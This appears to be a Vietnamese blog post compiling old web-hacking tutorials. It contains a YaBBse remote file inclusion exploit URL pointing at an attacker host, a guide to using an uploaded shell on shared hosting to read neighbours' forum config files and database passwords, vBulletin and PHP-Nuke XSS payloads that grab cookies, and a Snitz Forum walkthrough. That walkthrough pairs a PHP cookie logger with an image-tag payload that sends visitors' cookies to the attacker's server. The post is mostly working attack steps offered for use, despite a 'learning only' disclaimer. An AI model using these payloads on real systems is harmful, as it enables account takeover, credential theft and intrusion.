Thứ Ba, 22 tháng 3, 2011

Lỗi bảo mật của YaBBse 1.5.2


Advisory name: Thi hành lệnh từ xa trong YaBBse 1.5.2 (php version)
Application: Yet another Bulletin Board 1.5.2
Vendor: www.yabbse.org
Date: 06.05.2003
Impact: Attacker có thể sử dụng code php tùy tiện
Vấn đề:
Tên file là SSI.php.
Lỗi này tương tự như version YaBB 1.5.1.

SSI.php:
------------------------------------------
include_once ($sourcedir . '/Errors.php');
include_once ($sourcedir . '/Subs.php');
include_once ($sourcedir . '/Load.php');
------------------------------------------

Ta có thể xác định biến $sourcedir thông qua URL và include vài PHP script local hay
remote nếu remote inclusion có hiệu lực trong file php.ini.
Bug này không khai thác được nếu registar_globals được set sang OFF.

Khai thác:
http://www.victim.com/yabbse/ssi.php?sourcedir=http://www.attacker.com

Attacker có thể thay file Errors.php lên server.

Giải pháp:
Thêm dòng này trước dòng include_once() mà ta đề cập ở trên.

if (!isset($sourcedir)) $sourcedir = "";


Ta cũng nên chú ý đến dòng này
------------------------------------------
(Line #031) $full_yabbse_path = '.';
(Line #048) include_once ($full_yabbse_path . '/Settings.php');
------------------------------------------

và trong Settings.php:
------------------------------------------
(Line #067) $sourcedir = "/home/something/board/Sources";
------------------------------------------

vì thế trước khi Errors.php được include, $sourcedir thì *luôn luôn* set sang một
giá trị, ghi đè lên bất kỳ biến nào mà đi qua URL.
 

Giới thiệu phương pháp Hack Local


Hack local hiện nay rất phổ biến , các bạn chỉ cần có chung host thì các bạn có thể hack được , với điều kiện là host bảo mật ko quá cao.
Điều kiện cần :

Bạn cần phải up 1 file view.pl lên host mình để hack, chmod 775 nhé !
+ Các lệnh để hack :

ls -al : lệnh này để xem thông tin

cd : lệnh này dùng để chuyển thý mục

Cat : lệnh này dùng để xem info database

Thường, với bảo mật ko quá cao, bạn chỉ cần dùng 3 lệnh cơ bản này là đủ rôì nhé !!
+ Tiến hành :

Sau khi up lên host, bạn chạy con view.pl nhé , khi đó nó sẽ đưa lên 1 màng hình đen để hack , bạn nhập pass vào nhé ...

+ sau khi nhập pass, bạn sẽ có đường dẫn là : [admin@www.tênweb/home/kc/public_html/cgi-bin] , đây là đường dẫn đầu tiên từ host của bạn , bạn dùng lệnh cd /home/ , khi đó đường dẫn sẽ là [admin@www.tênweb/home] , bạn dùng lệnh ls -al để xem tất cả các host đang ở cùng trên sever của bạn. vd nhý chúng ta sẽ hack host của hoangtudaumat , bạn tiếp tục dùng lệnh cd hoangtudaumat , khi đó sẽ có đường dẫn là : [admin@tenweb/home/hoangtudaumat/] , khi này , các bạn cần phải dùng lệnh chuyển đến public nhé , vẫn dùng lệnh : cd public_html , khi này , bạn đã có đường dẫn là [admin@tenweb/home/hoangtudaumat/public_html] , để xem các thý mục của public, bạn dùng lệnh ls -al nhé , khi này, các bạn sẽ thấy các tập tin như :forums . index.html .....

Ðể hack , bạn tiếp tục dùng lệnh cd forum , khi đó , đường dẫn của bạn sẽ là [admin@tenweb/home/hoangtudaumat/public_html/forum] , bạn tiếp tục dùng lệnh ls -al để xem , các bạn sẽ thấy các file :conf_global.php , downloads_config.php ...... , để xem thông tin của database , bạn dùng lệnh cat conf_global.php nhé , khi này, bạn đã giử được database ở trong tay rồi đấy ,

User database là $INFO['sql_database']

Pass database là $INFO['sql_pass'

Để đoạt quyền admin, bạn ghi 1 code rồi up lên host của mình và cho nó khởi động là okie thôi ( vì tính chất nguy hiểm nên mình ko ghi được, các bạn thông cảm nhé ).
         

VBulletin Preview Message - Lỗi XSS


Thông tin:
Website: http://k.domaindlx.com/clairsang/www.vbulletin.com/default.htm
Version bị lỗi: vBulletin 3.0.0 Beta 2
Version không bị: vBulletin 2.2

Code khai thác:
Nhớ đăng nhập trước
<html>
<body>
<form action="http://[victim]/forum/private.php" method="post"
name="vbform">
 <input type="hidden" name="do" value="insertpm" />
 <input type="hidden" name="pmid" value="" />
 <input type="hidden" name="forward" value="" />
 <input type="hidden" name="receipt" value="0" />

 <input type="text" class="bginput" name="title" value="" size="40"
tabindex="2" />
 <textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
 <input type="submit" class="button" name="sbutton" value="Post Message"
accesskey="s" tabindex="4" />
 <input type="submit" class="button" value="Preview Message" accesskey="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

 <input type="checkbox" name="savecopy" value="1" id="cb_savecopy"
checked="checked" />
 <input type="checkbox" name="signature" value="1" id="cb_signature" />
 <input type="checkbox" name="parseurl" value="1" id="cb_parseurl"
checked="checked" />
 <input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
</form>
<script>
//Set Values và Submit
// Bạn có thể viết mã JS riêng của mình
var xss = "\"><script>alert(document.cookie)<\/script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
</script>
</body>
</html>
Giải pháp:
HTML Encoding like post thread preview page

PhpNuke - Your Account, Lỗi CSS


Francisco Burzi PHP-Nuke 6.5 Final Release

Chưa test nhưng đến 90% có lỗi:
Francisco Burzi PHP-Nuke 5.6
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5
Khai thác:
+http://[victim]/modules.php?name=Your_Account&op=userinfo&username=bla<script>alert(document.cookie)</script>
*Bạn phải đăng nhập trước.
**Một vài servers/hệ thống PHP Nuke có kiểm tra chuỗi "<script>" cho biến Querystrings hay POST (ví dụ: www.phphnuke.org). Nhưng hệ thống này vẫn bị lỗi. Bạn chỉ cần làm theo như thế với vài thủ thuật JS.
Giải pháp:
Kiểm tra các chuỗi đó là OK !


Hack ForumSnitz


Bài này được viết chỉ với mục đích học tập. Tôi sẽ không chịu bất kì trách nhiệm nào nếu các bạn dùng nó vào mục đích phá hoại.

SnitzForum có một lỗi khiến cho hacker có thể chạy được JavaScript để lấy cookie. Trong cookie này chứa username và password. Nếu ta lấy được username/pass của admin thì có thể kiểm soát được hoàn toàn forum đó. Sau đây là các bước để hack các diễn đàn dùng SnitzForum
1. Thu thập thông tin: tìm hiểu xem admin ở đó là ai, những chủ đề gần nhất mà hắn đã tham gia 2. Đăng kí 1 free host có hỗ trợ PHP, ví dụ như http://www.f2s.com/, nếu có rồi thì thôi
3.
Soạn thảo và upload 1 file có nội dung như sau (trong bài này đặt tên là page.cgi):

#!/usr/bin/php
<?php
$fp = fopen("mycookie.txt","a+");
fputs($fp,$test . "\n");
readfile("mypic.gif");
?>
4. upload một file ảnh hợp lệ nào đó (trong bài này là mypic.gif) lên cùng thư mục với page.cgi. File ảnh này dùng để trả về sau khi script chạy. Nên dùng ảnh nào có kích thước càng nhỏ càng tốt, ví dụ 1x1 pixel chẳng hạn. 5. Gửi vào các chủ đề mà admin tham gia nội dung sau:

...... any thing you want
[img]http://www.yourpage.f2s.com"onerror="this.src=src+'page.cgi?test='+escape(document.cookie);[/img]
6. Bất kì ai vào đọc topic đó sẽ bị chôm cookie. Các bạn chỉ việc ngồi đợi, khỏi phải làm gì hết. Muốn xem kết quả thì chỉ việc mở file mycookie.txt ở cùng thư mục với file page.cgi là xong.
Kĩ thuật này có thể áp dụng vào SnitzForum bản mới nhất.